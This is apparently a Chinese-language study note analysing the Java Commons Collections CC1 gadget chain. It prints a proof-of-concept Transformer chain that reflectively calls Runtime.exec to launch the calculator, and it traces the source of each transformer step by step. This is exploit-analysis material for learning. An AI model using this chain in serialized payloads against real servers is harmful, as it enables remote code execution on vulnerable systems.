java cc1链Transform
环境搭建 按照先知社区的链接搭建环境即可,注意事项 oracle官网可能会出现版本和下载不对应(刷新几次或者更换vpn),openjdk显示502(更换vpn或者过一段时间在访问即可),添加源路径后仍是class反编译(看修改的源路径是否为对应jdk版本路径下),下载对应版本jdk后,在对应路径安装完运行环境后,即可暂停java安装程序的运行,毕竟只需要jdk环境。
建议先看完白日梦组长的反序列化基础视频,然后再看cc链1即可,本篇只分析poc的运行。
poc
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"Calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Object.class)
打断点进行调试,首先进入ChainedTransformer
方法
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
ChainedTransformer
接受一个Transformer
数组,并赋值给iTransformers
,进入ChainedTransformer.transform
方法
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
这里获取iTransformers
的值进行递归调用,iTransformers的值为上文数组中的内容,
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"Calc.exe"}),
那么ChainedTransformer.transform
方法就变为了
object = new ConstantTransformer(Runtime.class).transform(object)
object = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}).transform(object)
object = new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}).transform(object)
object = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"Calc.exe"}).transform(object)
进入ConstantTransformer
和ConstantTransformer.transform
方法
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
接受参数,返回原本参数,运行完之后,这里的Object.class
变为了Runtime.class
,然后进入InvokerTransformer
和InvokerTransformer.transform
方法中
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
InvokerTransformer
方法接受string参数,class数组,object数组,由于ConstantTransformer.transform
方法运行完之后,已经把这里的input变为Runtime.class
,进入InvokerTransformer.transform
方法执行正常的反射调用进而执行命令,
正常的反射方法,这里是因为getRuntime
无法进行序列化操作,使用反射调用getRuntime
Class r=Runtime.class;
Method a=r.getMethod("getRuntime",null);
Runtime b= (Runtime) a.invoke(null,null);
Method c=r.getMethod("exec",String.class);
c.invoke(b,"calc");
但实际上InvokerTransformer.transform
中的method.invoke(input, iArgs)
不是之前的cls
而是input
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
method.invoke(input, iArgs)
反射在这里可以理解为,在input类里运行iMethodName
,传递的参数为iArgs
传入的为Runtime.class,实际上的运行程序为
Class a= Runtime.class;
Class b=a.getClass();
Method method = b.getMethod("getMethod",String.class, Class[].class);
Object diyiceng = method.invoke(a, "getRuntime",null);
Class c=diyiceng.getClass();
Method method1 =c.getMethod("invoke",Object.class, Object[].class);
Object dierceng = method1.invoke(diyiceng, null,null);
Class d=dierceng.getClass();
Method method2 =d.getMethod("exec",String.class);
method2.invoke(dierceng, "calc");